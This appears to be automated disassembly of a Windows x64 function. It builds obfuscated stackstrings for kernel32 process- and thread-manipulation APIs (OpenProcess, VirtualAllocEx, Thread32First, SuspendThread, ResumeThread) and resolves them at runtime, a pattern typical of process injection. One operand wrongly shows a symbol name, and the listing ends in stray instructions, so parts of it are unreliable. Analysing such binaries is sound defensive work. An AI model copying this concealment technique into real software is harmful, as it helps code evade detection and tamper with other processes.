Function at 0x1413c6df0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x688]
sub rsp, 0x788
mov rax, qword [0x141548130]
xor rax, rsp
mov qword [rbp + 0x660], rax
mov qword [rsp + 0x38], r8
xor edi, edi
mov dword [rsp + 0x30], edx
lea r8, [rbp + 0x5e0]
lea rdx, [rsp + 0x50]
mov word [rbp + 0x5f8], di
mov dword [rbp + 0x5e0], 0x65004b
mov dword [rbp + 0x5e4], 0x6e0072
mov dword [rbp + 0x5e8], 0x6c0065
mov dword [rbp + 0x5ec], 0x320033
mov dword [rbp + 0x5f0], 0x64002e
mov dword [rbp + 0x5f4], 0x6c006c
call fcn.1413c6590
cmp qword [rax + 0x18], 8
jb 0x1413c6e7f
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r8, qword [rsp + 0x68]
mov rbx, rax
cmp r8, 8
jb 0x1413c6ea8
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
inc r8
call fcn.1413c5750
movdqa xmm0, xmmword [0x1413b0f90]
lea r8, [rbp + 0x570]
movdqa xmm1, xmmword [0x1413b0fb0]
lea rdx, [rsp + 0x70]
movdqu xmmword [rbp + 0x600], xmm0
mov qword [rsp + 0x68], 7
movdqa xmm0, xmmword [0x1413b0f70]
movdqu xmmword [rbp + 0x5e0], xmm0
mov qword [rsp + 0x60], rdi
movdqa xmm0, xmmword [0x1413b0fa0]
movdqu xmmword [rbp + 0x620], xmm0
mov word [rsp + 0x50], di
mov dword [rbp + 0x570], 0x6e65704f
mov dword [rbp + 0x574], 0x636f7250
mov dword [rbp + 0x578], 0x737365
mov dword [rbp + 0x5a0], 0x74726956
mov dword [rbp + 0x5a4], 0x416c6175
mov dword [rbp + 0x5a8], 0x636f6c6c
mov word [rbp + 0x5ac], 0x7845
mov byte [rbp + 0x5ae], dil
mov word [rbp + 0x610], 0x7972
mov byte [rbp + 0x612], dil
mov dword [rbp + 0x5f0], 0x70616e53
mov dword [rbp + 0x5f4], 0x746f6873
mov byte [rbp + 0x5f8], dil
mov dword [rbp + 0x590], 0x65726854
mov dword [rbp + 0x594], 0x32336461
mov dword [rbp + 0x598], 0x73726946
mov word [rbp + 0x59c], 0x74
mov dword [rbp + 0x580], 0x65726854
mov dword [rbp + 0x584], 0x32336461
mov dword [rbp + 0x588], 0x7478654e
mov byte [rbp + 0x58c], dil
mov dword [rbp + 0x560], 0x6e65704f
mov dword [rbp + 0x564], 0x65726854
mov word [rbp + 0x568], 0x6461
mov byte [rbp + 0x56a], dil
mov byte [rbp + 0x630], dil
movdqu xmmword [rbp + 0x640], xmm1
mov byte [rbp + 0x650], dil
mov dword [rbp + 0x5d0], 0x70737553
mov dword [rbp + 0x5d4], 0x54646e65
mov dword [rbp + 0x5d8], 0x61657268
mov word [rbp + 0x5dc], WSAAsyncSelect
mov dword [rbp + 0x5c0], 0x75736552
mov dword [rbp + 0x5c4], 0x6854656d
mov dword [rbp + 0x5c8], 0x64616572
mov byte [rbp + 0x5cc], dil
mov dword [rbp + 0x5b0], 0x736f6c43
mov dword [rbp + 0x5b4], 0x6e614865
mov dword [rbp + 0x5b8], 0x656c64
call fcn.1413c6620
cmp qword [rax + 0x18], 0x10
jb 0x1413c7075
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x78]
mov r15, rax
cmp rcx, 0x10
jb 0x1413c70d7
mov rdx, qword [rsp + 0x70]
inc rcx
cmp rcx, 0x1000
jb 0x1413c70cf
test dl, 0x1f
jne 0x1413c78b5
mov rax, qword [rdx - 8]
cmp rax, rdx
jae 0x1413c78bb
sub rdx, rax
cmp rdx, 8
jb 0x1413c78c1
cmp rdx, 0x27
ja 0x1413c78c7
mov rdx, rax
mov rcx, rdx
call fcn.1414c1020
lea r8, [rbp + 0x5a0]
mov qword [rsp + 0x780], r12
lea rdx, [rbp - 0x70]
mov qword [rbp - 0x78], 0xf
mov qword [rbp - 0x80], rdi
mov byte [rsp + 0x70], dil
call fcn.1413c6620
cmp qword [rax + 0x18], 0x10
jb 0x1413c710a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x58]
mov r12, rax
cmp rcx, 0x10
jb 0x1413c716b
mov rdx, qword [rbp - 0x70]
inc rcx
cmp rcx, 0x1000
jb 0x1413c7163
test dl, 0x1f
jne 0x1413c78cd
mov rax, qword [rdx - 8]
cmp rax, rdx
jae 0x1413c78d3
sub rdx, rax
cmp rdx, 8
jb 0x1413c78d9
cmp rdx, 0x27
ja 0x1413c78df
mov rdx, rax
mov rcx, rdx
call fcn.1414c1020
lea r8, [rbp + 0x600]
mov qword [rbp - 0x58], 0xf
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
call fcn.1413c6620
cmp qword [rax + 0x18], 0x10
jb 0x1413c7195
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x38]
mov qword [rsp + 0x40], rax
cmp rcx, 0x10
jb 0x1413c71f8
mov rdx, qword [rbp - 0x50]
inc rcx
cmp rcx, 0x1000
jb 0x1413c71f0
test dl, 0x1f
jne 0x1413c78e5
mov rax, qword [rdx - 8]
cmp rax, rdx
jae 0x1413c78eb
sub rdx, rax
cmp rdx, 8
jb 0x1413c78f1
cmp rdx, 0x27
ja 0x1413c78f7
mov rdx, rax
mov rcx, rdx
call fcn.1414c1020
lea r8, [rbp + 0x5e0]
mov qword [rsp + 0x770], r14
lea rdx, [rbp + 0x600]
mov qword [rbp - 0x38], 0xf
mov qword [rbp - 0x40], rdi
mov byte [rbp - 0x50], dil
call fcn.1413c6620
cmp qword [rax + 0x18], 0x10
jb 0x1413c722d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sbb dword [rax], eax
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3
call fcn.1414e7b64
int3